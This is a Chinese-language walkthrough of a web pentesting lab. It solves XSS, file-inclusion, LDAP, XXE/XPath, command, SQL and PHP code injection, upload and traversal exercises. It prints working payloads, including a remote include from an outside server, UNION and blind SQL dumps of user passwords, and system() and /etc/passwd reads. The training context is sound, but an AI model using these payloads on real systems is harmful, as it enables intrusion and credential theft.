XSS

Example 1

反射型XSS,没啥好说的。

Example 2

反射型XSS,好像过滤了<script>标签,不过没关系,使用SVG标签即可,<svg/onload=alert()>

Example 3

反射型XSS,SVG依旧可以。

Example 4

反射型XSS,SVG依旧可以,这算不算作弊。

Example 5

反射型XSS,SVG不可以了,需要寻找新的方法。
不明所以,只是过滤了alert么?
<script>prompt()</script>

Example 6

输出在<script>标签中,还在变量里,需要逃离变量。
aaaaa";alert()//
闭合掉前面的变量,注释掉最后的东西,中间写XSS攻击向量即可。

Example 7

只是把上题的双引号变成了单引号,方法同上题。

Example 8

POST类型的,输入各种东西都原样输出了,尝试了下编码变形无果。感觉后台用了htmlentities处理POST过去的内容,看来是没希望了。
STUCK
无奈去读了一下这个题的源码,发现在生成表单的时候用了PHP_SELF,这不是做大死么。。只要在form的action位置构造xss就可以了。
example8.php/"><script>alert()</script>

Example 9

这个也很简单,使用location.hash.substring(1)获取#后面的东西。然后再document.write出来。
#<script>alert()</script>就可以了。

File Include

Example 1

直接在GET参数中把intro.php改为example1.php即可包含其他文件。
=====分割线======
后来回过头来看一眼,好像还可以RFI。
在自己服务器上新建一个txt,写上

<?php
    phpinfo();

然后直接包含进来。

http://192.168.37.145/fileincl/example1.php?page=http://104.236.171.163/web-for-pentest.txt

Example 2

同上,只不过没有.php了。

LDAP attacks

Example 1

这个题有点不明所以,把两个GET参数删掉就可以了。于是去google了一番。大概是因为bind这个函数,如果没有用户名密码的时候,就是匿名bind,于是就认证成功了。

Example 2

一开始猜测这个题好像是LDAP Injection的样子,大概是bypass他的authentication吧。
STUCK
查了点资料,发现如下方式:

http://192.168.37.145/ldap/example2.php?name=ha*&password=hacker

这样可以认证成功。但是:

http://192.168.37.145/ldap/example2.php?name=hacker&password=hac*

不能认证成功,可能是密码被hash处理了。那只能在name这里绕过了。
猜测后台的代码可能是这个样子:

(&(xx=[name-here])(password=hash[pass-here]))

想办法闭合一下前面的部分,后面想办法注释掉吧。

http://192.168.37.145/ldap/example2.php?name=admin))%00&password=hack*

成功了。

XML Attacks

Example 1

明显是XXE的问题,直接构造一个实体就好了。payload如下:

http://192.168.37.145/xml/example1.php?xml=%3C%3Fxml%20version%3D%221.0%22%3F%3E%3C%21DOCTYPE%20a%20%5B%3C%21ENTITY%20b%20SYSTEM%20%22file%3A%2f%2f%2fetc%2fpasswd%22%3E%5D%3E%3Cc%3E%26b%3B%3C%2fc%3E

Example 2

使用上题的payload后发现没有回显,考虑是不是Blind XXE。不过根据这个分类,感觉还有可能是XPath注入。
加了个单引号就报错了。

hacker' and '1'='1    返回正常
hacker' and '1'='2    无返回

大概可以猜测出原来的语句是什么样子的:

//[xxxxx]/name[xxx='Your Input Here']/[xxxx]

于是有了第一个payload

hacker']%00    返回正常

继续,获取一下父节点或者子节点的值。

hacker']/parent::*/child::*%00

好像没什么东西,给前面的hacker设定个永真试试:

hacker' or 1]/parent::*/child::*%00

看到了比较敏感的信息了。

Command Injection

Example 1

最喜欢的命令注入了。。看题目是个ping,把前面的ip写错掉,然后用||连接后面的命令就可以执行了。

example1.php?ip=127.0.0 || id

Example 2

这个好像对IP做了限制了,会检查ip是不是合法的,那好吧。
试了一些常见的payload。。都不行啊。。什么鬼。。用{$INF}好像也不行
脑洞开一下试试%0a

ip=127.0.0.1%0a%26%26id

还是不行啊。。。
想了想,如果换行了的话,是不是不用加&&了,于是去掉了两个&。

ip=127.0.0.1%0aid  成功

完事了去看了下源码,发现正则写的不太对啊。。虽然ip格式限制的很好,但是没有考虑到换行的问题。。

Example 3

ip=127.0.0 || ls

发现自己会跳回ip=127.0.0.1
看了下HTTP头,果然有Location。。直接curl吧。

curl "http://192.168.37.145/commandexec/example3.php?ip=127.0.0 || ls "

毛都没有,试试上题的方法

curl "http://192.168.37.145/commandexec/example3.php?ip=127.0.0.1%0als"

成功。看了眼源码,只是把上题中显示错误信息的地方给换成了Location。

SQL Injection

Example 1

http://192.168.37.145/sqli/example1.php?name=root' order by 5%23    成功
http://192.168.37.145/sqli/example1.php?name=root' order by 6%23    失败

所以列数是5,下面确定位置。

http://192.168.37.145/sqli/example1.php?name=root' union all select 1,2,3,4,5%23

然后就可以愉快的暴库了。先爆数据库名称:

http://192.168.37.145/sqli/example1.php?name=root' union all select 1,group_concat(distinct+table_schema),3,4,5 from information_schema.columns%23

下面就要爆当前数据库的表名了。当前数据库可以直接用database()爆出来嘛~

http://192.168.37.145/sqli/example1.php?name=root' union all select 1,group_concat(distinct+table_name),3,4,5 from information_schema.columns where table_schema=database()%23

好像就一张users表。。
继续爆字段:

http://192.168.37.145/sqli/example1.php?name=root' union all select 1,group_concat(distinct+column_name),3,4,5 from information_schema.columns where table_name='users'%23

有这几个字段:id,name,age,groupid,passwd
最后就可以提取内容了。先看看有多少数据

http://192.168.37.145/sqli/example1.php?name=root' union all select 1,count(*),3,4,5 from users%23

才4条,不多。。

http://192.168.37.145/sqli/example1.php?name=root' union all select 1,concat(id,'-',name,'-',age,'-',groupid,'-',passwd),3,4,5 from users%23

全显示出来了。

Example 2

试了下好像过滤了空格,于是用注释替换。。

http://192.168.37.145/sqli/example2.php?name=root'/**/union/**/all/**/select/**/1,concat(id,'-',name,'-',age,'-',groupid,'-',passwd),3,4,5/**/from/**/users%23

Example 3

同上题的payload。。有点迷。
看了下源码,上一题是/ /,这一题是/\s+/,还是升级了一些的。

Example 4

这注入点变了。。变成id了。。
试了试上面的payload好像不行了。

http://192.168.37.145/sqli/example4.php?id=2 and 1=1    成功
http://192.168.37.145/sqli/example4.php?id=2 and 1=2    失败

继续试呗

http://192.168.37.145/sqli/example4.php?id=-2 union all select 1,2,3,4,5%23
http://192.168.37.145/sqli/example4.php?id=-2 union all select 1,group_concat(id,'-',name),3,4,5 from users%23

到这里,发现连接的时候出现了点问题。。仔细试了下发现单引号被过滤了。。。ORZ。。
那就不用单引号呗

http://192.168.37.145/sqli/example4.php?id=-2 union all select 1,concat(id,0x2d2d,name,0x2d2d,passwd),3,4,5 from users#

于是又日穿了。好冷啊去睡觉了。。。

Example 5

http://192.168.37.145/sqli/example5.php?id=2%20union%20all%20select%201,concat%28id,0x2d2d,name,0x2d2d,passwd%29,3,4,5%20from%20users#

又解决了。。。完事去看了下源码,发现/^[0-9]+/,只匹配了开头。

Example 6

好像出现%xx就会ERROR INTEGER REQUIRED。
有点迷,不知道怎么过滤的,猜测是有/[0-9]+/之类的过滤。根据上一题,猜测是只匹配了$,于是在#后面加上个数字吧、

http://192.168.37.145/sqli/example6.php?id=2 union all select 1,group_concat(name),3,4,5 from users# 1

Example 7

一看参数还是id,猜测这回是/^[0-9]+$/,试了试怎么都是ERROR。然后用%0a替换了空格,发现可以了。

http://192.168.37.145/sqli/example7.php?id=2%0aunion%0aall%0aselect%0a1,group_concat(name),3,4,5%0afrom%0ausers#

去看了下源码,发现是/m,难怪%0a可以绕过。

Example 8

注入点在ORDER BY 后面么。。?

http://192.168.37.145/sqli/example8.php?order=name%60%20%23

找了半天找到一个payload

http://192.168.37.145/sqli/example8.php?order=id`, (select case when (1=1) then 1 else 1*(select table_name from information_schema.tables)end)=1%23

在接下来就可以用case when来跑了,大概就是这个样子

(CASE WHEN (SELECT ASCII(SUBSTRING(passwd, 1, 1)) FROM users where name = 0x726f6f74) = 65 THEN date ELSE title END)

弄个完整的payload出来

http://192.168.37.145/sqli/example8.php?order=age`, (select CASE WHEN (SELECT ASCII(SUBSTRING(passwd, 1, 1)) FROM users where name = 0x726f6f74) = 97 THEN sleep(1) ELSE 1 END)%23

爆数据库名,表名字段名都一个原理,时间问题了。。

Example 9

测试了下http://192.168.37.145/sqli/example9.php?order=name DESC发现成功了,不加反引号的时候GG了,那就是说这个order by没有被反引号包裹,拿上一题的payload试一下。

http://192.168.37.145/sqli/example9.php?order=age, (select CASE WHEN (SELECT ASCII(SUBSTRING(passwd, 1, 1)) FROM users where name = 0x726f6f74) = 97 THEN sleep(1) ELSE 1 END)%23

这个是没问题的,但是用sleep有点慢,看着不爽,改造一下:

http://192.168.37.145/sqli/example9.php?order=(select CASE WHEN (SELECT ASCII(SUBSTRING(passwd, 1, 1)) FROM users where name = 0x726f6f74) = 98 THEN age ELSE id END)%23

这样如果true的话,就会按照age排序,否则按照id排序。

Code Injection

Example 1

很简单的命令注入,没啥好说的。

http://192.168.37.145/codeexec/example1.php?name=1";phpinfo();$x="1

Example 2

一打开直接测试了

http://192.168.37.145/codeexec/example2.php?order=system('ls')

发现爆出了个ERROR

Fatal error: Call to undefined method User::system() in /var/www/codeexec/example2.php(22) : runtime-created function on line 1 

好像SQL注入里面的那个排序,如果是代码注入的话,可能会用usort函数,其中大概是create_function之类的东西,按照这个思路尝试一下。

http://192.168.37.145/codeexec/example2.php?order=id);phpinfo();/*

好像是没闭合什么的。百度搜了搜资料,构造了个payload

http://192.168.37.145/codeexec/example2.php?order=id);}phpinfo();/*

成功了。

http://192.168.37.145/codeexec/example2.php?order=id);}system('id');/*

Example 3

看到这个,大概是用了什么preg_replace吧。既然可以控制正则,那就上/e

http://192.168.37.145/codeexec/example3.php?new=phpinfo();&pattern=/lame/e&base=Hello lame

Example 4

加了个单引号就报错了,看到了assert()。那估计是向assert里注代码了,可能里面本来就有个啥东西,导致打了个单引号就执行出错了,想办法闭合掉。
STUCK
去看了眼源码,有个trim,那好吧。。。

http://192.168.37.145/codeexec/example4.php?name=aaa'.phpinfo().'

解决了。

File Upload

Example 1

什么鬼,直接传PHP文件就可以了。。

Example 2

这个判断了后缀名,改成jpg可以上传但是不能解析。
传了.php5.php4.php3
终于PHP3成功了,真神奇,PHP5竟然不行。

Directory traversal

这题怎么从首页点不进去。。。

Example 1

第一个一般都是最简单的吧。。

http://192.168.37.145/dirtrav/example1.php?file=../../../../../../../etc/passwd

Example 2

这次相对路径好像不行了,下面这个payload不管用了。

http://192.168.37.145/dirtrav/example2.php?file=../../../../../../../etc/passwd

试试绝对路径

http://192.168.37.145/dirtrav/example2.php?file=/etc/passwd

也失败了。。

http://192.168.37.145/dirtrav/example2.php?file=/var/www/files/../../../../../../../etc/passwd

里面需要有指定的目录才可以

Example 3

这个也比较简单,末尾用%00截断即可。

http://192.168.37.145/dirtrav/example3.php?file=../../../../../etc/passwd%00